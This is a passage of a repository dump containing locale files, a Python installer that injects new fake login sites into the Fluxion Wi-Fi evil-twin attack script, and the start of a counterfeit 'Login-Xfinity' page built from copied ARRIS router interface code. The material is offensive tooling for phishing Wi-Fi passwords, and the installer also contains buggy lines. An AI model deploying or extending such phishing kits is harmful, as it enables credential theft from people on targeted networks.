UVXgH9QvNqly+4P6FTnH\n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\n0ArOJNIBUEsFBgAAAAAJAAkAhwMAAOfpAQAAAA==\""
  },
  {
    "path": "locale/de_DE.py",
    "content": "# -*- coding: cp852 -*-\n\n#de_DE Locale\nclass language():\n    VERSION='Version'\n    CREATING_BACKUP='Erstelle Sicherung'\n    NO_PERM='Keine Rechte'\n    COPYING_FILES='Kopiervorgang'\n    COULD_NOT_COPY='Konnte Dateien nicht kopieren'\n    DONE='Fertig'\n    REWRITING_FLUXION_BASH='Schreibe fluxion bash neu'\n    RECONFIGURE_FLUXION_BASH='Rekonfiguriere fluxion bash'\n    INTERNAL_FAILURE='Interner Fehler'\n    ERROR='Fehler'\n    FATAL_ERROR='FATAL ERROR'\n    TRYING_TO_RESTORE_BACKUP='Versuche Sicherung wiederherzustellen'\n    BACKUP_RESTORED='Sicherung wiederhergestellt'\n    SETTING_MODES='Setze modi'\n    CONTINUE='weiter'\n    VERIFYING_INTEG='berprfe integritt'\n    DELETING_BACKUP='Lsche Sicherungsdatei'\n    SUCCESS='Erfolgreich in fluxion integriert'\n    BEGIN_INSTALL='Installation beginnen'\n    COULD_NOT_OPEN_FLUX='Konnte fluxion nicht ffnen, bitte Berechtigung berprfen. Beenden...'\n    NO_FLUXION_FOUND='fluxion nicht gefunden.\\nBitte den installer INNERHALB des fluxion Ordners ausfhren. Beenden...'\n    CORRUPTED_FLUX='Beschdigtes fluxion. Beenden...'\n    DOUBLE_INSTALL='Es scheint bereits eine Site mit dem Namen zu geben'\n    CONTINUE_ANYWAY='Trotzdem installieren?'\n    NOTHING_CHANGED='Nichts verndert. Beenden...'"
  },
  {
    "path": "locale/en_EN.py",
    "content": "# -*- coding: cp852 -*-\n\n#en_EN Locale\nclass language():\n    VERSION='Version'\n    CREATING_BACKUP='Creating backup'\n    NO_PERM='No Permission'\n    COPYING_FILES='Copying files'\n    COULD_NOT_COPY='Could not copy files'\n    DONE='Done'\n    REWRITING_FLUXION_BASH='Rewriting fluxion bash'\n    RECONFIGURE_FLUXION_BASH='Reconfiguring fluxion bash'\n    INTERNAL_FAILURE='Internal failure'\n    ERROR='Error'\n    FATAL_ERROR='FATAL ERROR'\n    TRYING_TO_RESTORE_BACKUP='Trying to restore from backup'\n    BACKUP_RESTORED='Backup restored'\n    SETTING_MODES='Setting modes'\n    CONTINUE='continue'\n    VERIFYING_INTEG='Verifying integrity of fluxion'\n    DELETING_BACKUP='Deleting backup'\n    SUCCESS='Successfully installed \"to your fluxion'\n    BEGIN_INSTALL='Begin installation'\n    COULD_NOT_OPEN_FLUX='Could not open fluxion, check permissions. Exiting...'\n    NO_FLUXION_FOUND='No fluxion installation found.\\nPlease use this installer INSIDE the fluxion folder. Exiting...'\n    CORRUPTED_FLUX='Corrupted fluxion installation. Exiting...'\n    DOUBLE_INSTALL='Seems like there is already a site with the name'\n    CONTINUE_ANYWAY='Do you want to continue anyway?'\n    NOTHING_CHANGED='Nothing changed, your choice. Exiting...'"
  },
  {
    "path": "siteinstaller.py",
    "content": "#!/usr/bin/env python\n# -*- coding: cp852 -*-\n\nimport sys\nimport getopt\nimport os\nimport subprocess\nsys.path.insert(0, './locale')\n\n# ###################\n# ## OPTIONS ########\n# ###################\nsite_name = ''\nsite_language = ''\ninstalled_sites = 0\nflux_cont = ''\n#flux_comp_versions = ['0.24']\nflinstall_version = '0.11'\n# ###################\nclass color:\n    PURPLE = '\\033[95m'\n    CYAN = '\\033[96m'\n    DARKCYAN = '\\033[36m'\n    BLUE = '\\033[94m'\n    GREEN = '\\033[92m'\n    YELLOW = '\\033[93m'\n    RED = '\\033[91m'\n    BOLD =  '\\033[1m'\n    UNDERLINE = '\\033[4m'\n    END = '\\033[0m'\n\ndef main(argv):\n\tglobal site_name, site_language\n\tif os.geteuid() != 0:\n\t\texit('You need to have root privileges to run this script.\\nPlease try again, this time using \\'sudo\\'. Exiting....')\n\t\tsys.exit()\n\tusage = '>>>\\tUsage:\\n' +'\\t\\tsiteinstaller.py -f <filename>' +'\\n\\t\\tsiteinstaller.py --file <file>\\n\\n>>>\\tOnly *.tar.gz compressed files!'\n\ttry:\n\t\topts, args = getopt.getopt(sys.argv[1:], 'f:h', ['file=', 'help'])\n\t\tif(len(opts) <= 0):\n\t\t\tprint(usage)\n\t\t\tsys.exit()\n\texcept getopt.GetoptError:\n\t\tprint(usage)\n\t\tsys.exit(2)\n\t\n\tfor opt, arg in opts:\n\t\tif opt in ('-h', '--help'):\n\t\t\tprint(usage)\n\t\t\tsys.exit(2)\n\t\telif opt in ('-f', '--file'):\n\t\t\tif not('.tar.gz' in arg):\n\t\t\t\tprint('ONLY *.tar.gz files supported.')\n\t\t\t\tsys.exit()\n\t\t\tif(os.path.isfile(arg) == False):\n\t\t\t\tprint('Your file does not exist, maybe a typo?')\n\t\t\t\tsys.exit()\n\t\t\tsite_name = arg[:arg.rfind('.tar.gz')]\n\t\t\tsite_language = site_name[site_name.rfind('_')+1:]\n\t\telse:\n\t\t\tprint(usage)\n\t\t\n\nif __name__ == \"__main__\":\n   main(sys.argv[1:])\n\n# Language Selector\nprint('\\033[1;91m [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]')\nprint(' [                                            ]')\nprint(' [        FluxIon - Site Installer v' + flinstall_version + '      ]')\nprint('\\033[94m [                                            ]')\nprint(' [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]')\nprint('\\033[39m')\nprint(' # Select your language:')\nprint('')\nprint('[1] English')\nprint('[2] German')\nprint('')\nlang = raw_input(' [#]:')\nif(lang == '1'):\n    from en_EN import language\nelif(lang == '2'):\n    from de_DE import language\nelse:\n    from en_EN import language\n\n# ###############\n\ndef check_fluxion():\n\tglobal installed_sites, flux_cont\n\ttry:\n\t\tfl = open('fluxion','rw')\n\t\tflux_cont = fl.read()\n\t\tfl.close()\n\texcept:\n\t\tprint(language.COULD_NOT_OPEN_FLUX)\n\t\tsys.exit()\n\tif(flux_cont <= 100):\n\t\tprint(language.NO_FLUXION_FOUND)\n\t\tsys.exit()\n\tflv = ''\n\tflr = ''\n\tfld = ''\n\tif('version=' in flux_cont) and ('revision=' in flux_cont):\n\t\tflv = flux_cont[flux_cont.find('version=')+8:]\n\t\tflv = flv[:flv.find('\\n')]\n\t\tflr = flux_cont[flux_cont.find('revision=')+9:]\n\t\tflr = flr[:flr.find('\\n')]\n\telse:\n\t\tprint(language.CORRUPTED_FLUX)\n\t\tsys.exit()\n\n\t# Version check\n\t#vchk = False\n\t#for version in flux_comp_versions:\n\t#\tif(version == flv):\n\t#\t\tvchk = True\n\t#if(vchk == False):\n\t#\tprint('Your fluxion version '+color.BOLD + flv  + color.END + '. \\nSupported versions are - ' + ' - '.join(reversed(flux_comp_versions)))\t\t\n\t#\tsys.exit()\n\t# ###############\n\n\tinstalled_sites = int(flux_cont.count('elif [ \"$webconf\" ='))\n\tfls = str(installed_sites + 1)  \n\n\t# Check on double installation!\n\tfld = flux_cont[flux_cont.find('$DUMP_PATH/data/index.htm'):]\n\tif(site_name in fld):\n\t\tusdc = raw_input(language.DOUBLE_INSTALL + ' \"' + site_name + '\" ' + language.CONTINUE_ANYWAY + ' [Y\\\\n]')\n\t\tif(len(usdc) <= 0) or (usdc == 'y') or (usdc == 'yes'):\n\t\t\tpass\n\t\telse:\t\t\t\n\t\t\tsys.exit()\n\t# ###############\n\n\treturn flv + '#' + flr + '#' + fls\n\ndef welcome():\n\tflc = check_fluxion().split('#')\n\twsn = int(22 - len(site_name))\n\twhitespacen = ''\n\twsl = int((22+6) - len(site_language))\n\twhitespacel = ''\n\tfor i in xrange(wsn):\n\t\twhitespacen += ' '\n\t\tif(i+1 == wsn) and (i+1 <= wsn):\n\t\t\twhitespacen += '#'\n\tfor i in xrange(wsl):\n\t\twhitespacel += ' '\n\t\tif(i+1 == wsl) and (i+1 <= wsl):\n\t\t\twhitespacel += '#'\n\t\n\tprint('\\033[1;91m [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]')\n\tprint(' [                                            ]')\n\tprint(' [        FluxIon - Site Installer v'+ flinstall_version + '      ]')\n\tprint('\\033[94m [                                            ]')\n\tprint(' [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]')\n\tprint('\\033[39m')\n\tprint(' # ############## FluxIon found! ##############')\n\tprint(' # \\033[39mVersion: '+ flc[0] +'                              #')\n\tprint(' # \\033[39mRevision: '+ flc[1] +'                              #')\n\tprint(' # \\033[39mInstalled Sites: '+ flc[2] +'                        #')\n\tprint(' # ############################################')\n\tprint('')\n\tprint(' # ############################################')\n\tprint(' # \\033[39mSiteName to install: ' + site_name + whitespacen)\n\tprint(' # \\033[39mLanguage flag: ' + site_language + whitespacel)\n\tprint(' # ############################################')\n\tprint('')\n\tprint(' # ########### Everything correct? ############')\n\tprint('')\n\tusc = raw_input(' # ' + language.BEGIN_INSTALL + '? [Y\\\\n]').lower()\n\tif(len(usc) <= 0) or (usc == 'y') or (usc == 'yes'):\n\t\tpass\n\telse:\n\t\tprint('\\n\\t # ' + language.NOTHING_CHANGED)\n\t\tsys.exit()\n\n# ########################################################################################\n# ########################################################################################\n# ########################################################################################\n# ########################################################################################\n# ########################################################################################\n# ########################################################################################\n# ########################################################################################\nwelcome()\n\n# ###### First INSERT\ndef insert_at_secondlast_pos1():\n\tglobal flux_cont, site_name, site_language\n\twhitespaces = ''\n\tsearch_string = 'echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\"\\e'\n\tws = int(12 - len(site_name))\n\tfor i in xrange(ws):\n\t\twhitespaces+=' '\n\tinsert_site = 'echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" ' + site_name + whitespaces + '[' + site_language + '] \";n=` expr $n + 1`\\n'\n\tbefore = flux_cont[:int(flux_cont.rfind(search_string))]\n\tafter = '\\t\\t\\t' + flux_cont[int(flux_cont.rfind(search_string)):]\n\tflux_cont = before + insert_site + after\n# ##########################################\n\n# ###### Second INSERT\ndef insert_at_secondlast_pos2():\n\tglobal installed_sites, flux_cont, site_name\n\tsite_number = str(installed_sites +1)\n\tinsert_site = 'elif [ \"$webconf\" = \"'+ site_number +'\" ]; then\\n\\t\\t\\t\\t' + site_name + '\\n\\t\\t\\t\\tbreak\\n\\n\\t\\t\\t'\n\tflux_cont = flux_cont[:int(flux_cont.rfind('elif [ \"$webconf\" ='))] + insert_site + flux_cont[int(flux_cont.rfind('elif [ \"$webconf\" =')):]\n\ndef last_option_correct_number2():\n\tglobal installed_sites, flux_cont\n\tacc = int(flux_cont.rfind('elif [ \"$webconf\" ='))\n\tacc0 = int(flux_cont[acc:].find('\" = \"')+5)\n\tbefore = flux_cont[:acc+acc0]\n\tafter = flux_cont[acc+acc0+2:]\n\tflux_cont = before + str(installed_sites+2) + after\n# ##########################################\n\n# ###### Third INSERT\ndef insert_at_last_pos3():\n\tglobal flux_cont, site_name\n\tinsert_site = '\\n\\nfunction ' + site_name + ' {\\n\\tmkdir $DUMP_PATH/data &>$flux_output_device\\n\\tcp $WORK_DIR/Sites/' + site_name + '/* $DUMP_PATH/data\\n\\t}'\n\tbefore = flux_cont[:int(flux_cont.rfind('}'))+1]\n\tafter = flux_cont[int(flux_cont.rfind('}'))+1:]\n\tflux_cont = before + insert_site + after\n# ##########################################\n\nprint('')\nprint(' # '+ language.CREATING_BACKUP +'...')\ntry:\n\tsubprocess.Popen(['cp','fluxion', 'bckp_fluxion'])\nexcept:\n\tprint(language.NO_PERM)\n\tsys.exit()\nprint(' # ' + language.DONE + '!')\n\nprint('')\nprint(' # ' + language.COPYING_FILES + '...')\ntry:\n\tsubprocess.Popen(['tar','xfz', site_name + '.tar.gz', '-C', 'Sites/'])\nexcept:\n\tprint(language.COULD_NOT_COPY + '...')\n\tsys.exit()\nprint(' # ' + language.DONE + '!')\n\nprint('')\nprint(' # ' + language.RECONFIGURE_FLUXION_BASH + '...')\ntry:\n\tinsert_at_secondlast_pos1()\n\tinsert_at_secondlast_pos2()\n\tlast_option_correct_number2()\n\tinsert_at_last_pos3()\nexcept:\n\tprint(language.INTERNAL_FAILURE + '...')\n\te = sys.exc_info()[0]\n\tprint(language.ERROR + \": %s\" % e )\n\tsys.exit()\n\nprint(' # ' + language.DONE + '!')\n\nprint('')\nprint(' # '+ language.REWRITING_FLUXION_BASH + '...')\ntry:\n\twflux = open('fluxion','w')\n\twflux.write(flux_cont)\n\twflux.close()\nexcept:\n\tprint(language.FATAL_ERROR + '[501]...')\n\tprint(language.TRYING_TO_RESTORE_BACKUP)\n\ttry:\n\t\tsubprocess.Popen(['mv','bckp_fluxion', 'fluxion'])\n\t\tprint('FluxIon ' + language.BACKUP_RESTORED + '...')\n\texcept:\n\t\tprint(language.FATAL_ERROR + '[502]...')\n\tsys.exit()\nprint(' # ' + language.DONE + '!')\n\nprint('')\nprint(' # ' + language.SETTING_MODES + '...')\ntry:\n\tsubprocess.Popen(['chmod','755', 'Sites/' + site_name +'/'])\n\tsubprocess.Popen(['chmod','644', '-R', 'Sites/' + site_name +'/'])\n\tprint(' # ' + DONE + '!')\nexcept:\n    pass\n\t#print('ERROR[506]... ' + language.CONTINUE + '...')\n\t#print(\"Unexpected error:\", sys.exc_info()[0])\n\nprint('')\nprint(' # ' + language.VERIFYING_INTEG + '...')\ntry:\n\tfluxit = open('fluxion','r')\n\tinteg_fluxion = fluxit.read()\n\tfluxit.close()\n\tif(len(integ_fluxion) == len(flux_cont)):\n\t\tprint(' # ' + language.DONE + '!')\n\t\tprint(' # ' + language.DELETING_BACKUP + '...')\n\t\tsubprocess.Popen(['rm','bckp_fluxion'])\n\telse:\n\t\tprint(language.FATAL_ERROR + '[509]...')\n\t\tsys.exit()\nexcept:\n\tprint(language.FATAL_ERROR + '[503]...')\n\tsys.exit()\n\nprint('\\n # ' + site_name + '\" ' + language.SUCCESS + '!')\n\t\n\n"
  },
  {
    "path": "sites/Login-Xfinity/Xfinity_files/base.js",
    "content": "//Copyright 2011-2012, ARRIS Group, Inc., All rights reserved.\nvar _afterBuild = new Array();\nvar _afterApply = new Array();\nvar ag = null;\nvar _technician = { };\nvar base = \"\";\nvar basePath = \"\";\nvar _lastEvent;\n\nfunction supports_html5_storage() {\n    try {\n        return 'sessionStorage' in window && window['sessionStorage'] !== null;\n    } catch (e) {\n        return false;\n    }\n}\nvar _sessionStorage = supports_html5_storage() ? sessionStorage : null ;\nfunction getSessionStorage(key) {\n    if (_sessionStorage)\n        return _sessionStorage[key];\n    return Base64.decode(readCookie(key));\n}\nfunction setSessionStorage(key,value) {\n    if (_sessionStorage)\n        _sessionStorage[key] = value;\n    else createCookie(key, Base64.encode(value));\n}\n\n// 1 - log, 2-show,4-verify,8-notrans, 64-set1 128-setmult\nfunction debug(value) {\n    if (value !== undefined)\n        setSessionStorage(\"ar_debug_state\",value);\n    return getSessionStorage(\"ar_debug_state\") || 0;\n}\nfunction hardwareVersion(substring) {\n    if (getSessionStorage(\"ar_hw_version\") === undefined || getSessionStorage(\"ar_hw_version\")===null)\n      setSessionStorage(\"ar_hw_version\", snmpGet1(arHardwareVersion.oid+\".0\") || \"???\");\n    var hv = getSessionStorage(\"ar_hw_version\");\n    if (substring !== undefined)\n        return hv.indexOf(substring) != -1;\n    return hv;\n}\nfunction customerId() {\n    if (getSessionStorage(\"ar_cust_id\") === undefined || getSessionStorage(\"ar_cust_id\") === null) {\n        setSessionStorage(\"ar_cust_id\",  snmpGet1(arCustomID.oid+\".0\") || \"0\");\n    }\n    return getSessionStorage(\"ar_cust_id\").asInt();\n}\n\nfunction userRadioControl() {\n    if (getSessionStorage(\"ar_user_rc\") === undefined || getSessionStorage(\"ar_user_rc\") === null) {\n        setSessionStorage(\"ar_user_rc\", snmpGet1(arWiFiRadioControlMode.oid+\".0\").asInt(0) === 0 ? 1 : 0);\n    }\n    return getSessionStorage(\"ar_user_rc\") == \"1\";\n}\n\nfunction language() {\n    if (getSessionStorage(\"ar_language\") === undefined || !getSessionStorage(\"ar_language\")) {\n        setSessionStorage(\"ar_language\",  snmpGet1(arLanguage.oid+\".0\") || \"English\");\n    }\n    return getSessionStorage(\"ar_language\");\n}\nfunction clearLanguage() {\n    setSessionStorage(\"ar_language\", \"\");\n}\n\n\nfunction isTwc() {\n    return customerId() === 3;\n}\nfunction isSuddenlink() {\n    return customerId() === 12;\n}\n\nvar menuStateLoaded = false;\nfunction loadMenus() {\n    if (!menuStateLoaded && (getSessionStorage(\"ar_hide\") === undefined || !getSessionStorage(\"ar_hide\"))) {\n        menuStateLoaded = true;\n\n        var table = [ ] ; // table stopped working WebAccessTable.getTable([arWebAccessPage]);\n        for (var i=1; i<20; i++) {\n            var s = snmpGet1(arWebAccessPage.oid+\".\"+i);\n            if (s)\n                table.push([s]);\n            else break;\n        }\n\n        var hides = \";\";\n        var disables = \";\";\n        function loadRow(row) {\n            var ss = row[0].split(\";\");\n            _.each(ss, function(sss) {\n               var ssss = sss.split(\":\");\n                if (ssss[0] === \"hide\")\n                    hides += ssss[1]+\";\";\n                if (ssss[0] === \"disable\")\n                    disables += ssss[1]+\";\";\n            });\n        }\n        _.each(table, loadRow);\n        setSessionStorage(\"ar_hide\",  hides);\n        setSessionStorage(\"ar_disable\",  disables);\n    }\n}\n\n// todo: verify twc here\nfunction menuVisible(s) {\n    loadMenus();\n    return (isTechnician() && !isTwc()) || !s || !(getSessionStorage(\"ar_hide\").contains(s+\";\"));\n}\nfunction submenuVisible(s) {\n    loadMenus();\n    return (isTechnician() && !isTwc()) || !s || !(getSessionStorage(\"ar_hide\").contains(s+\";\"));\n}\nfunction pageEnabled(s) {\n    loadMenus();\n    return (isTechnician() && !isTwc()) || !s || !(getSessionStorage(\"ar_disable\").contains(s+\";\"));\n}\nfunction fieldsetVisible(s) { \n    loadMenus();\n    return isTechnician() || !s || !(getSessionStorage(\"ar_hide\").contains(base+\"_\"+s+\";\"));\n}\n\njQuery.fn.valOrChecked = function(v) {\n    var vals = [];\n    this.each(function() {\n        var a = $(this);\n        if (v !== undefined) {\n            if (a.is(':checkbox'))\n                a.attr(\"checked\", !(v == \"0\"));\n            else a.val(v);\n            vals[0] = this;\n        } else {\n            vals.push(a.is(':checkbox') ? (a.is(\":checked\") ? 1 : 0) : a.val());\n        }\n    });\n    return vals[0];\n};\n\n$.fn.truncateTextToFit = function() {\n    this.each(function() {\n    if ($(this).textWidth() <= $(this).width())\n        return;\n    var t = $(this).text();\n    $(this).attr(\"title\",t);\n    while ($(this).textWidth() > $(this).width()) {\n        $(this).text(t.substr(0, t.length-1));\n        t = $(this).text();\n    }\n    $(this).html(t.substr(0, t.length-2)+\" &hellip;\");\n    })\n};\n\n\njQuery.log = function(message) {\n    if (debug()&1 && window.console && window.console.debug) {\n        window.console.debug(message);\n    }\n};\njQuery.fn.textWidth = function(){\n var calc = '<span style=\"display:none\">' + $(this).text() + '</span>';\n $('body').append(calc);\n var width = $('body').find('span:last').width();\n $('body').find('span:last').remove();\n return width;\n};\n\nBoolean.prototype.asInt = function() {\n    return this.valueOf() ? 1 : 0;\n}\nNumber.prototype.asInt = function() {\n    return Math.floor(this);\n}\n\nNumber.prototype.asString = function(len) {\n    var s = this.toString();\n    if (s.length < len)\n        return \"00000000000000000000000000000000\".substr(0, len - s.length) + s;\n    return s;\n}\nNumber.prototype.asHexString = function(len) {\n    var s = this.toString(16);\n    if (s.length < len)\n        return \"00000000000000000000000000000000\".substr(0, len - s.length) + s;\n    return s;\n}\nString.prototype.asInt = function(nanVal) {\n    var v = parseInt(this,10);\n    return isNaN(v) ? nanVal : v;\n}\nString.prototype.fmt = function () {\n    var args = arguments;\n    var pattern = new RegExp(\"%([0-\" + arguments.length + \"])\", \"g\");\n    return this.replace(pattern, function(match, index) {\n        return args[index];\n    });\n}\n\nString.prototype.varsub = function(subfunc) {\n    var ss = this;\n    if (this.indexOf('{{') !== -1)\n        _.each(this.match(/{{[^}]*}}/g) || [], function(s) {\n           ss = ss.replace(s,subfunc(s.substr(2,s.length-4)));\n        });\n    return ss.valueOf();\n}\n\nString.prototype.startsWith = function(str) {\n    return (this.indexOf(str) === 0);\n}\nString.prototype.endsWith = function (str) {\n    var lastIndex = this.lastIndexOf(str);\n    return (lastIndex != -1) && (lastIndex + str.length == this.length);\n}\nString.prototype.grow = function(i) {\n    var len = this.length + i;\n    if (len < 0)\n        len = 0;\n    if (len <= this.length) {\n        return this.substr(0, len);\n    } else {\n        var s = this;\n        while (len-- > this.length)\n            s += \" \";\n        return s;\n    }\n}\nString.prototype.contains = function () {\n    for (var i=0; i<arguments.length; i++)\n        if (this.indexOf(arguments[i]) !== -1)\n            return true;\n    return false;\n}\nString.prototype.padLeft = function(ch,len) {\n    var l = len - this.length;\n    var s = \"\"+this;\n    while (l-->0) {\n        s = ch+s;\n    }\n    return s;\n};\nString.prototype.trim = function() {\n\treturn this.replace(/^\\s+|\\s+$/g,\"\");\n}\nString.prototype.ltrim = function() {\n\treturn this.replace(/^\\s+/,\"\");\n}\nString.prototype.rtrim = function() {\n\treturn this.replace(/\\s+$/,\"\");\n}\n\nArray.prototype.unique = function unique(keyfunc) {\n    if (!keyfunc) keyfunc = function(a) { return a; };\n    var o = { };\n    _.each(this, function(e) { o[keyfunc(e)]=true; })\n    var ua = [  ];\n    _.each(this, function(e) { if (o[keyfunc(e)]) ua.push(e); o[keyfunc(e)]=false; });\n    return ua;\n}\n\nvar Base64 = {\n\t// private property\n\t_keyStr : \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\",\n    isBase64 : function(input) {\n        for (var i=0; i<input.length; i++) {\n            if (_keyStr.indexOf(input.charAt(i) === -1))\n                return false;\n        }\n        return true;\n    },\n\t// public method for encoding\n\tencode : function (input) {\n\t\tvar output = \"\";\n\t\tvar chr1, chr2, chr3, enc1, enc2, enc3, enc4;\n\t\tvar i = 0;\n\t\tinput = Base64._utf8_encode(input);\n\t\twhile (i < input.length) 